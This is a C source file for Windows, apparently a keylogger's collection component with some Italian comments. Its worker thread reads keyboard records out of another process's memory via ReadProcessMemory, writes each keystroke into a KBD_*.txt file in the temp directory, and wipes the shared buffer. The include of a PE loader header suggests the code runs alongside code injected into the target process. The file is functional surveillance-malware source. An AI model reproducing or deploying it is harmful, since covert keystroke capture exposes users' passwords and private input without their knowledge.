/*
+---------------------------------------------------------------------+
| SOR | TYPE | LEN | DATA | EOR | ... | SOR | TYPE | LEN | DATA | EOR |
+---------------------------------------------------------------------+
*/

#include "ipc.h"
#include "peloader.h"
#include <stdio.h>

#define SAFEDELETE(x) {if(x != NULL) free(x); x = NULL;}

//read data from the shared memory
int IPCRead(HANDLE hProcess, LPVOID lpMemAddr, PIPC_DATA pIpcData, LPVOID *lpRecord)
{
	SIZE_T	 dwRd;
	PBYTE	 pMem = NULL;

	DWORD dwSize = sizeof(pIpcData->StartOfRecord) +
		sizeof(pIpcData->Length) +
		sizeof(pIpcData->Type) +
		sizeof(pIpcData->dwTimestamp);

	pMem = (PBYTE)lpMemAddr;

	//lettura della IPC
	if (ReadProcessMemory(hProcess, pMem, pIpcData, dwSize, &dwRd))
	{
		//check SOR tag
		if ((pIpcData->StartOfRecord != SOR) && (pIpcData->StartOfRecord != PAD))
			return IPC_DATA_UNKNOWN;

		//check type tag
		switch (pIpcData->Type)
		{
		case IPC_DATA_KEYBOARD:
			break;

		default:
			return 0;
		}

		//read the ipc record
		if (pIpcData->Length)
		{
			//alloc memory for the record
			*lpRecord = (LPVOID)malloc(pIpcData->Length);
			pMem += dwSize;
			if (!ReadProcessMemory(hProcess, pMem, *lpRecord, pIpcData->Length, &dwRd))
			{
				free(*lpRecord);
				return 0;
			}

			//read eor
			pMem += pIpcData->Length;
			if (!ReadProcessMemory(hProcess, pMem, &pIpcData->EndOfRecord, 1, &dwRd))
			{
				free(*lpRecord);
				return 0;
			}
		}
	}

	return 1;
}


//write data to a shared memory buffer
BOOL IPCWrite(HANDLE hProcess, LPVOID lpMemAddr, PIPC_DATA pIpcData)
{
	PBYTE pMem = NULL, pEnd = NULL;
	DWORD i = 0, dwRecLen, dwIPCLen;

	if (!pIpcData)
		return TRUE;

	//size of structure
	dwIPCLen = sizeof(IPC_DATA) - sizeof(pIpcData->Buffer);

	pMem = (PBYTE)lpMemAddr;
	pEnd = ((PBYTE)lpMemAddr + IPC_BUFFER_LEN);

	//get the address of the first free record in ipc buffer
	while (pMem < pEnd)
	{
		if (*pMem == PAD)
		{
			pMem += 1;
			continue;
		}

		if (*pMem == SOR)
		{
			//read the length of the record
			pMem += 1;
			i = ((DWORD)*pMem) + dwIPCLen - 2;
			pMem += i;

			//check EOR
			if (*pMem == EOR)
			{
				pMem += 1;
				continue;
			}

			//verify if the new record can fit the buffer
			if ((pMem + 1) >= pEnd)
			{
				pMem = (PBYTE)lpMemAddr;
				break;
			}

			//verify if there's enough room for the new record
			if ((pMem + pIpcData->Length + dwIPCLen) >= pEnd)
			{
				pMem = (PBYTE)lpMemAddr;
			}

			break;
		}
		else
			break;
	}

	pIpcData->StartOfRecord = SOR;
	pIpcData->EndOfRecord = EOR;

	DWORD dwSize = sizeof(pIpcData->StartOfRecord) +
		sizeof(pIpcData->Length) +
		sizeof(pIpcData->Type) +
		sizeof(pIpcData->dwTimestamp);

	//copy the start of record, type and the size tag
	memcpy(pMem, pIpcData, dwSize);
	pMem += dwSize;

	//copy the buffer
	memcpy(pMem, pIpcData->Buffer, pIpcData->Length);
	pMem += pIpcData->Length;

	//copy the end of record
	memcpy(pMem, &pIpcData->EndOfRecord, sizeof(pIpcData->EndOfRecord));

	return TRUE;
}

BOOL IPCZeroMemory(HANDLE hProcess, LPVOID lpMemAddr, SIZE_T length)
{
	SIZE_T bytesWritten = 0;
	PBYTE lpBuffer = NULL;

	if ((lpBuffer = (PBYTE)malloc(length)) == NULL)
		return FALSE;
	SecureZeroMemory(lpBuffer, length);

	BOOL bRet = WriteProcessMemory(hProcess, lpMemAddr, lpBuffer, length, &bytesWritten);

	free(lpBuffer);

	return bRet;
}

//free the ipc structure
BOOL FreeIPC(PIPC_DATA pIpc)
{
	if (!pIpc)
		return TRUE;

	SAFEDELETE(pIpc->Buffer);
	SAFEDELETE(pIpc);

	return TRUE;
}


LPWSTR CompletePath(LPWSTR lpFileName)
{
	LPWSTR pwsTemp = NULL;

	if ((pwsTemp = (LPWSTR)malloc(MAX_PATH*sizeof(WCHAR))) == NULL)
		return NULL;

	if (!GetTempPathW(MAX_PATH, pwsTemp))
		return NULL;

	wcscat_s(pwsTemp, MAX_PATH, lpFileName);

	return pwsTemp;
}

DWORD WINAPI IPCWorkerThread(LPVOID lpParams)
{
	IPC_DATA  IpcData = { 0 };
	PKBD_DATA KbdData = NULL;
	PTHREAD_PARAMS pParams = NULL;
	PBYTE pMem = NULL;
	HANDLE hFile = NULL;
	WCHAR pwsBuf[256] = { 0 }, *pwsPath = NULL;
	DWORD dwSize = 0, dwRecordSize = 0, dwIndex = 0, dwWr = 0;
	BOOL bRet = FALSE;

	pParams = (PTHREAD_PARAMS)lpParams;

	dwSize = sizeof(IpcData) - sizeof(IpcData.Buffer);

	Sleep(3000);

	//loop to receive data
	while (1)
	{
		do
		{
			pMem = (PBYTE)pParams->pIPC->lpBufIN + dwIndex;

			if ((bRet = IPCRead(pParams->hProcess, pMem, &IpcData, (LPVOID*)&KbdData)))
			{
				if (hFile == NULL)
				{
					swprintf(pwsBuf, sizeof(pwsBuf), L"KBD_%08X%08X.txt", KbdData->Window, GetTickCount());
					//swprintf(pwsBuf, sizeof(pwsBuf), L"KBD_%s.txt", L"NOTEPAD");
					if ((pwsPath = CompletePath(pwsBuf)) != NULL)
					{
						if ((hFile = CreateFileW(pwsPath, GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL)) == INVALID_HANDLE_VALUE)
							OutputDebugStringW(L"Creazione del file non riuscita");
						free(pwsPath);
					}
				}

				dwRecordSize = dwSize + IpcData.Length;
				dwIndex += dwRecordSize;

				switch (IpcData.Type)
				{
				case IPC_DATA_KEYBOARD:
					//write the data on the file
					if (hFile != INVALID_HANDLE_VALUE)
					{
						swprintf(pwsBuf, sizeof(pwsBuf), L"%c", (WCHAR)KbdData->WParam);
						WriteFile(hFile, pwsBuf, wcslen(pwsBuf) * sizeof(WCHAR), &dwWr, NULL);
					}
					break;
				default:
					//OutputDebugStringW(L"Default Data Type");
					break;
				}

				//set the shared memory to zero
				IPCZeroMemory(pParams->hProcess, pMem, dwRecordSize);
			}
			else
				dwIndex = 0;

		} while (bRet == TRUE);

		Sleep(2000);
	}
}